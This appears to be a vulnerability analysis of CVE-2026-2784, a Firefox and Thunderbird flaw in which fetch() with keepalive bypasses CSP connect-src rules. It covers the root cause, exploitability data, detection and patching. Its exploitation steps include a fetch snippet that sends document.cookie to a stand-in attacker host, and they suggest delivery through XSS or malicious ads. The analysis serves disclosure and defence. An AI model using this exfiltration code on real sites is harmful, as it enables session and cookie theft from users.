CVE-2026-2784: 
NixOS vulnerability analysis and mitigation

CVE-2026-2784 is a Content Security Policy (CSP) mitigation bypass vulnerability in the DOM: Security component of Mozilla Firefox and Thunderbird. The flaw allows network-accessible attackers to bypass CSP enforcement by using the fetch() API with keepalive: true, causing requests to bypass CSP connect-src directives that would otherwise block them. It affects Firefox before 148, Firefox ESR before 140.8, Thunderbird before 148, and Thunderbird ESR before 140.8. Disclosed on February 24, 2026, it was reported by external researcher D. Santos and rated moderate impact by Mozilla, though Feedly's CVSS v3.1 estimate assigns a base score of 9.8 (Critical) (Mozilla Advisory MFSA2026-13, Mozilla Advisory MFSA2026-15).

The root cause is that Firefox's fetch-with-keepalive implementation fails to reliably associate a ClientInfo object (which carries the PolicyContainer containing the active CSP) with keepalive requests (CWE-288: Authentication Bypass Using an Alternate Path or Channel). When keepalive: true is set in a fetch() call, the browser dispatches the request through a different code path that does not consistently apply the page's Content Security Policy, allowing the request to reach destinations that the connect-src directive would otherwise block. The fix, authored by Tom Schuster, ensures the ClientInfo is always provided for fetch-with-keepalive requests. The bug is related to prior similar issues tracked as CVE-2025-6427 and CVE-2025-8032, indicating a recurring pattern in Firefox's keepalive request handling (Mozilla Bugzilla #2012984).

Successful exploitation allows a malicious web page or script to exfiltrate data to arbitrary third-party endpoints that are explicitly blocked by a site's Content Security Policy, undermining a key web security control. This could enable data theft, tracking, or communication with attacker-controlled infrastructure even on sites that have deployed strict CSP policies. The bypass affects any site relying on CSP connect-src directives for defense-in-depth, and is exploitable without user interaction or special privileges from a network-accessible position (Mozilla Bugzilla #2012984, Mozilla Advisory MFSA2026-13).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation as of the time of disclosure (Feedly). The EPSS score is approximately 0.018% (0.000180), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported. The bug was awarded a Mozilla security bounty, confirming its validity as a security issue (Mozilla Bugzilla #2012984).

1. Identify a target site with CSP: Find a website that deploys a restrictive connect-src Content Security Policy directive blocking requests to attacker-controlled domains, and that is visited using a vulnerable version of Firefox (< 148 or ESR < 140.8).
2. Inject or host malicious JavaScript: Deliver JavaScript to the victim's browser session on the target site — for example, via a stored XSS, a malicious ad, or a page the attacker controls that the victim visits.
3. Craft a keepalive fetch request: Execute a fetch() call with keepalive: true targeting a CSP-blocked endpoint:

   fetch("https://attacker-controlled.example.com/exfil", {
     method: 'POST',
     keepalive: true,
     body: JSON.stringify({ data: document.cookie })
   });

4. Bypass CSP enforcement: Because Firefox does not apply the page's CSP to keepalive fetch requests in vulnerable versions, the request completes successfully and reaches the attacker's server, bypassing the connect-src restriction.
5. Receive exfiltrated data: The attacker's server receives the POST request with any exfiltrated content (e.g., cookies, tokens, page content) (Mozilla Bugzilla #2012984).

• Network: Unexpected outbound HTTP/HTTPS POST requests from a browser to domains not listed in the site's connect-src CSP directive, particularly with short-lived or keepalive connections.
• Logs: Web server or proxy logs showing POST requests to external domains that should be blocked by CSP; absence of CSP violation reports for requests that should have triggered them (since the bypass prevents the violation from being generated in Firefox).
• Browser Console: In patched browsers or Chromium-based browsers, CSP violation messages such as "Connecting to '<URL>' violates the following Content Security Policy directive: 'connect-src'" for the same fetch call — absence of this message in Firefox may indicate exploitation of the bypass.

Mozilla has released patches addressing this vulnerability in Firefox 148, Firefox ESR 140.8, Thunderbird 148, and Thunderbird ESR 140.8. Users and administrators should update to these versions or later immediately. No configuration-based workaround is available within Firefox itself; the only effective remediation is upgrading to a patched version. Enterprise administrators managing Firefox deployments should prioritize this update, particularly for environments where CSP is used as a security control (Mozilla Advisory MFSA2026-13, Mozilla Advisory MFSA2026-15).

Mozilla rated this vulnerability as moderate impact in its official advisories, while automated CVSS scoring tools assigned it a much higher critical score, reflecting a discrepancy in severity assessment. The bug was awarded a Mozilla security bounty (sec-bounty+), validating the external reporter's (D. Santos) discovery. The vulnerability was picked up by Linux distribution security teams (Debian, SUSE, Red Hat, Rocky Linux, AlmaLinux, Slackware, Oracle Linux, Amazon Linux) who issued downstream advisories and package updates shortly after Mozilla's disclosure (Mozilla Advisory MFSA2026-13, Mozilla Bugzilla #2012984).